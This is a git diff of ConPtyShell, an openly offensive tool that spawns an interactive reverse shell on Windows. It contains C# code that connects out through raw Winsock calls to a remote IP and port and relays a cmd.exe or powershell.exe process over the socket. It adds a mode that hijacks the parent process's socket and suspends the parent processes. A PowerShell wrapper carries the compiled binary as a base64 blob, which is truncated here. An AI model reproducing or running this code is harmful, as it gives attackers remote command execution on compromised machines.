private const int STD_ERROR_HANDLE = -12;
+
+
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFOEX
{
@@ -177,6 +623,29 @@ public static class ConPtyShell
public short Y;
}
+ [StructLayout(LayoutKind.Sequential)]
+ private struct WSAData
+ {
+ public short wVersion;
+ public short wHighVersion;
+ public short iMaxSockets;
+ public short iMaxUdpDg;
+ public IntPtr lpVendorInfo;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
+ public string szDescription;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
+ public string szSystemStatus;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ private struct SOCKADDR_IN
+ {
+ public short sin_family;
+ public short sin_port;
+ public uint sin_addr;
+ public long sin_zero;
+ }
+
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
@@ -251,30 +720,79 @@ public static class ConPtyShell
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
- private static Socket ConnectSocket(string remoteIp, int remotePort){
- Socket s = null;
- IPAddress remoteIpInt = IPAddress.Parse(remoteIp);
- IPEndPoint ipEndpoint = new IPEndPoint(remoteIpInt, remotePort);
- Socket shellSocket = new Socket(ipEndpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
- try{
- shellSocket.Connect(ipEndpoint);
- if(shellSocket.Connected)
- s = shellSocket;
- byte[] banner = Encoding.ASCII.GetBytes("\r\nConPtyShell - @splinter_code\r\n");
- s.Send(banner);
+ [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
+ private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags);
+
+ [DllImport("ws2_32.dll", SetLastError = true)]
+ private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize);
+
+ [DllImport("ws2_32.dll", SetLastError = true)]
+ private static extern ushort htons(ushort hostshort);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
+ private static extern uint inet_addr(string cp);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
+ private static extern Int32 WSAGetLastError();
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
+ private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
+ private static extern int closesocket(IntPtr s);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
+ private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
+ private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags);
+
+ [DllImport("ntdll.dll")]
+ private static extern uint NtSuspendProcess(IntPtr processHandle);
+
+ [DllImport("ntdll.dll")]
+ private static extern uint NtResumeProcess(IntPtr processHandle);
+
+ private static IntPtr connectRemote(string remoteIp, int remotePort)
+ {
+ int port = 0;
+ int error = 0;
+ string host = remoteIp;
+
+ try {
+ port = Convert.ToInt32(remotePort);
+ } catch {
+ throw new ConPtyShellException("Specified port is invalid: " + remotePort.ToString());
}
- catch{
- s = null;
+
+ WSAData data;
+ if( WSAStartup(2 << 8 | 2, out data) != 0 ) {
+ error = WSAGetLastError();
+ throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", error));
+ }
+
+ IntPtr socket = IntPtr.Zero;
+ socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED);
+
+ SOCKADDR_IN sockinfo = new SOCKADDR_IN();
+ sockinfo.sin_family = (short)2;
+ sockinfo.sin_addr = inet_addr(host);
+ sockinfo.sin_port = (short)htons((ushort)port);
+
+ if( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) {
+ error = WSAGetLastError();
+ throw new ConPtyShellException(String.Format("WSAConnect failed with error code: {0}", error));
}
- return s;
+
+ return socket;
}
- private static void TryParseRowsColsFromSocket(Socket shellSocket, ref uint rows, ref uint cols){
+ private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols){
Thread.Sleep(500);//little tweak for slower connections
- if (shellSocket.Available > 0){
+ try{
byte[] received = new byte[100];
int rowsTemp, colsTemp;
- int bytesReceived = shellSocket.Receive(received);
+ int bytesReceived = recv(shellSocket, received, 100, 0);
string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived);
string rowsString = sizeReceived.Split(' ')[0].Trim();
string colsString = sizeReceived.Split(' ')[1].Trim();
@@ -283,6 +801,9 @@ public static class ConPtyShell
cols=(uint)colsTemp;
}
}
+ catch{
+ return;
+ }
}
private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){
@@ -291,9 +812,9 @@ public static class ConPtyShell
pSec.bInheritHandle=1;
pSec.lpSecurityDescriptor=IntPtr.Zero;
if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
- throw new InvalidOperationException("Could not create the InputPipe");
+ throw new ConPtyShellException("Could not create the InputPipe");
if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
- throw new InvalidOperationException("Could not create the OutputPipe");
+ throw new ConPtyShellException("Could not create the OutputPipe");
}
private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){
@@ -319,12 +840,12 @@ public static class ConPtyShell
IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
if (!GetConsoleMode(hStdOut, out outConsoleMode))
{
- throw new InvalidOperationException("Could not get console mode");
+ throw new ConPtyShellException("Could not get console mode");
}
outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
if (!SetConsoleMode(hStdOut, outConsoleMode))
{
- throw new InvalidOperationException("Could not enable virtual terminal processing");
+ throw new ConPtyShellException("Could not enable virtual terminal processing");
}
}
@@ -344,7 +865,7 @@ public static class ConPtyShell
bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
if (success || lpSize == IntPtr.Zero)
{
- throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error());
+ throw new ConPtyShellException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error());
}
STARTUPINFOEX startupInfo = new STARTUPINFOEX();
startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo);
@@ -352,12 +873,12 @@ public static class ConPtyShell
success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize);
if (!success)
{
- throw new InvalidOperationException("Could not set up attribute list. " + Marshal.GetLastWin32Error());
+ throw new ConPtyShellException("Could not set up attribute list. " + Marshal.GetLastWin32Error());
}
success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero,IntPtr.Zero);
if (!success)
{
- throw new InvalidOperationException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error());
+ throw new ConPtyShellException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error());
}
return startupInfo;
}
@@ -373,7 +894,7 @@ public static class ConPtyShell
bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo);
if (!success)
{
- throw new InvalidOperationException("Could not create process. " + Marshal.GetLastWin32Error());
+ throw new ConPtyShellException("Could not create process. " + Marshal.GetLastWin32Error());
}
return pInfo;
}
@@ -388,19 +909,19 @@ public static class ConPtyShell
{
object[] threadParameters = (object[]) threadParams;
IntPtr OutputPipeRead = (IntPtr)threadParameters[0];
- Socket shellSocket = (Socket)threadParameters[1];
- uint bufferSize=16*1024;
- byte[] bytesToWrite = new byte[bufferSize];
+ IntPtr shellSocket = (IntPtr)threadParameters[1];
+ int bufferSize=256;
bool readSuccess = false;
Int32 bytesSent = 0;
uint dwBytesRead=0;
do{
- readSuccess = ReadFile(OutputPipeRead, bytesToWrite, bufferSize, out dwBytesRead, IntPtr.Zero);
- bytesSent = shellSocket.Send(bytesToWrite, (Int32)dwBytesRead, 0);
+ byte[] bytesToWrite = new byte[bufferSize];
+ readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero);
+ bytesSent = send(shellSocket, bytesToWrite, bufferSize, 0);
} while (bytesSent > 0 && readSuccess);
}
- private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, Socket shellSocket){
+ private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket){
object[] threadParameters = new object[2];
threadParameters[0]=OutputPipeRead;
threadParameters[1]=shellSocket;
@@ -413,21 +934,21 @@ public static class ConPtyShell
{
object[] threadParameters = (object[]) threadParams;
IntPtr InputPipeWrite = (IntPtr)threadParameters[0];
- Socket shellSocket = (Socket)threadParameters[1];
+ IntPtr shellSocket = (IntPtr)threadParameters[1];
IntPtr hChildProcess = (IntPtr)threadParameters[2];
- uint bufferSize=16*1024;
- byte[] bytesReceived = new byte[bufferSize];
+ int bufferSize=256;
bool writeSuccess = false;
Int32 nBytesReceived = 0;
uint bytesWritten = 0;
do{
- nBytesReceived = shellSocket.Receive(bytesReceived, (Int32)bufferSize, 0);
+ byte[] bytesReceived = new byte[bufferSize];
+ nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0);
writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);
} while (nBytesReceived > 0 && writeSuccess);
TerminateProcess(hChildProcess, 0);
}
- private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, Socket shellSocket, IntPtr hChildProcess){
+ private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess){
object[] threadParameters = new object[3];
threadParameters[0]=InputPipeWrite;
threadParameters[1]=shellSocket;
@@ -437,43 +958,64 @@ public static class ConPtyShell
return thReadSocketWritePipe;
}
- public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine){
- string output = "";
- Socket shellSocket = ConnectSocket(remoteIp, remotePort);
- if(shellSocket == null){
- output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
- return output;
- }
- TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols);
- IntPtr InputPipeRead = new IntPtr(0);
- IntPtr InputPipeWrite = new IntPtr(0);
- IntPtr OutputPipeRead = new IntPtr(0);
- IntPtr OutputPipeWrite = new IntPtr(0);
- IntPtr handlePseudoConsole = new IntPtr(0);
- IntPtr oldStdIn = new IntPtr(0);
- IntPtr oldStdOut = new IntPtr(0);
- IntPtr oldStdErr = new IntPtr(0);
+ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell){
+ IntPtr shellSocket = IntPtr.Zero;
+ IntPtr InputPipeRead = IntPtr.Zero;
+ IntPtr InputPipeWrite = IntPtr.Zero;
+ IntPtr OutputPipeRead = IntPtr.Zero;
+ IntPtr OutputPipeWrite = IntPtr.Zero;
+ IntPtr handlePseudoConsole = IntPtr.Zero;
+ IntPtr oldStdIn = IntPtr.Zero;
+ IntPtr oldStdOut = IntPtr.Zero;
+ IntPtr oldStdErr = IntPtr.Zero;
bool newConsoleAllocated = false;
+ bool parentSocketInherited = false;
+ bool grandParentSocketInherited = false;
+ bool conptyCompatible = false;
+ string output = "";
+ Process currentProcess = null;
+ Process parentProcess = null;
+ Process grandParentProcess = null;
+
+ if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero)
+ conptyCompatible = true;
+
PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();
CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr);
- if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){
- Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
- STARTUPINFO sInfo = new STARTUPINFO();
- sInfo.cb = Marshal.SizeOf(sInfo);
- sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES;
- sInfo.hStdInput = InputPipeRead;
- sInfo.hStdOutput = OutputPipeWrite;
- sInfo.hStdError = OutputPipeWrite;
- CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo);
- }
- else{
- Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n");
+
+ if(conptyCompatible){
+ Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n");
+ if(upgradeShell){
+ currentProcess = Process.GetCurrentProcess();
+ parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle);
+ grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle);
+ shellSocket = SocketHijacking.GetSocketTargetProcess(currentProcess);
+ if(shellSocket != IntPtr.Zero){
+ shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess);
+ if(parentProcess != null)
+ parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess);
+ }
+ else
+ shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess);
+ if(grandParentProcess != null)
+ grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess);
+ }
+ else{
+ shellSocket = connectRemote(remoteIp, remotePort);
+ if(shellSocket == IntPtr.Zero){
+ output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
+ return output;
+ }
+ TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols);
+ }
if(GetConsoleWindow() == IntPtr.Zero){
AllocConsole();
ShowWindow(GetConsoleWindow(), SW_HIDE);
newConsoleAllocated = true;
}
+ //Console.WriteLine("Creating pseudo console...");
+ //return "";
int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
if(pseudoConsoleCreationResult != 0)
{
@@ -482,6 +1024,26 @@ public static class ConPtyShell
}
childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine);
}
+ else{
+ if(upgradeShell){
+ output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system");
+ return output;
+ }
+ shellSocket = connectRemote(remoteIp, remotePort);
+ if(shellSocket == IntPtr.Zero){
+ output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
+ return output;
+ }
+ Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
+ STARTUPINFO sInfo = new STARTUPINFO();
+ sInfo.cb = Marshal.SizeOf(sInfo);
+ sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES;
+ sInfo.hStdInput = InputPipeRead;
+ sInfo.hStdOutput = OutputPipeWrite;
+ sInfo.hStdError = OutputPipeWrite;
+ CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo);
+ }
+
// Note: We can close the handles to the PTY-end of the pipes here
// because the handles are dup'ed into the ConHost and will be released
// when the ConPTY is destroyed.
@@ -490,12 +1052,15 @@ public static class ConPtyShell
//Threads have better performance than Tasks
Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket);
Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess);
+ if(upgradeShell && parentSocketInherited) NtSuspendProcess(parentProcess.Handle);
+ if(upgradeShell && grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle);
WaitForSingleObject(childProcessInfo.hProcess, INFINITE);
//cleanup everything
+ if(upgradeShell && parentSocketInherited) NtResumeProcess(parentProcess.Handle);
+ if(upgradeShell && grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle);
thThreadReadPipeWriteSocket.Abort();
thReadSocketWritePipe.Abort();
- shellSocket.Shutdown(SocketShutdown.Both);
- shellSocket.Close();
+ closesocket(shellSocket);
RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr);
if(newConsoleAllocated)
FreeConsole();
@@ -510,8 +1075,7 @@ public static class ConPtyShell
}
public static class ConPtyShellMainClass{
- private static string help = @"
-";
+ private static string help = @"";
private static bool HelpRequired(string param)
{
@@ -520,11 +1084,8 @@ public static class ConPtyShellMainClass{
private static void CheckArgs(string[] arguments)
{
- if(arguments.Length < 2){
- Console.Out.Write("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n");
- System.Environment.Exit(0);
- }
-
+ if(arguments.Length < 2)
+ throw new ConPtyShellException("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n");
}
private static void DisplayHelp()
@@ -535,20 +1096,14 @@ public static class ConPtyShellMainClass{
private static string CheckRemoteIpArg(string ipString){
IPAddress address;
if (!IPAddress.TryParse(ipString, out address))
- {
- Console.Out.Write("\r\nConPtyShell: Invalid remoteIp value {0}\r\n", ipString);
- System.Environment.Exit(0);
- }
+ throw new ConPtyShellException("\r\nConPtyShell: Invalid remoteIp value" + ipString);
return ipString;
}
private static int CheckInt(string arg){
int ret = 0;
if (!Int32.TryParse(arg, out ret))
- {
- Console.Out.Write("\r\nConPtyShell: Invalid integer value {0}\r\n", arg);
- System.Environment.Exit(0);
- }
+ throw new ConPtyShellException("\r\nConPtyShell: Invalid integer value " + arg);
return ret;
}
@@ -582,12 +1137,19 @@ public static class ConPtyShellMainClass{
else
{
CheckArgs(args);
- string remoteIp = CheckRemoteIpArg(args[0]);
- int remotePort = CheckInt(args[1]);
+ string remoteIp = "";
+ int remotePort = 0;
+ bool upgradeShell = false;
+ if(args[0].Contains("upgrade"))
+ upgradeShell = true;
+ else{
+ remoteIp = CheckRemoteIpArg(args[0]);
+ remotePort = CheckInt(args[1]);
+ }
uint rows = ParseRows(args);
uint cols = ParseCols(args);
string commandLine = ParseCommandLine(args);
- output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine);
+ output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell);
}
return output;
}
@@ -600,4 +1162,5 @@ class MainClass{
Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args));
}
}
+
"@;
\ No newline at end of file
diff --git a/Invoke-ConPtyShell2.ps1 b/Invoke-ConPtyShell2.ps1
index b1b3444..1ac7d8c 100644
--- a/Invoke-ConPtyShell2.ps1
+++ b/Invoke-ConPtyShell2.ps1
@@ -1,5 +1,3 @@
-#Requires -Version 2
-
function Invoke-ConPtyShell2
{
<#
@@ -61,15 +59,22 @@ function Invoke-ConPtyShell2
Description
-----------
Spawn a reverse shell (cmd.exe) with specific rows and cols size
+
+ .EXAMPLE
+ PS>Invoke-ConPtyShell2 -Upgrade -Rows 30 -Cols 90
+
+ Description
+ -----------
+ Upgrade your current shell with specific rows and cols size
#>
- Param
+ Param
(
- [Parameter(Position = 0, Mandatory = $True)]
+ [Parameter(Position = 0)]
[String]
$RemoteIp,
- [Parameter(Position = 1, Mandatory = $True)]
+ [Parameter(Position = 1)]
[String]
$RemotePort,
@@ -83,10 +88,30 @@ function Invoke-ConPtyShell2
[Parameter()]
[String]
- $CommandLine = "powershell.exe"
+ $CommandLine = "powershell.exe",
+
+ [Parameter()]
+ [Switch]
+ $Upgrade
)
+
+ if( $PSBoundParameters.ContainsKey('Upgrade') ) {
+ $RemoteIp = "upgrade"
+ $RemotePort = "shell"
+ }
+ else{
+
+ if(-Not($PSBoundParameters.ContainsKey('RemoteIp'))) {
+ throw "RemoteIp missing parameter"
+ }
+
+ if(-Not($PSBoundParameters.ContainsKey('RemotePort'))) {
+ throw "RemotePort missing parameter"
+ }
+ }
+
$parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine)
- $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAN+NbV4AAAAAAAAAAOAAAgELAQgAAEAAAAAgAAAAAAAADl0AAAAgAAAAYAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAACgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALhcAABTAAAAAGAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAFD0AAAAgAAAAQAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAYAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA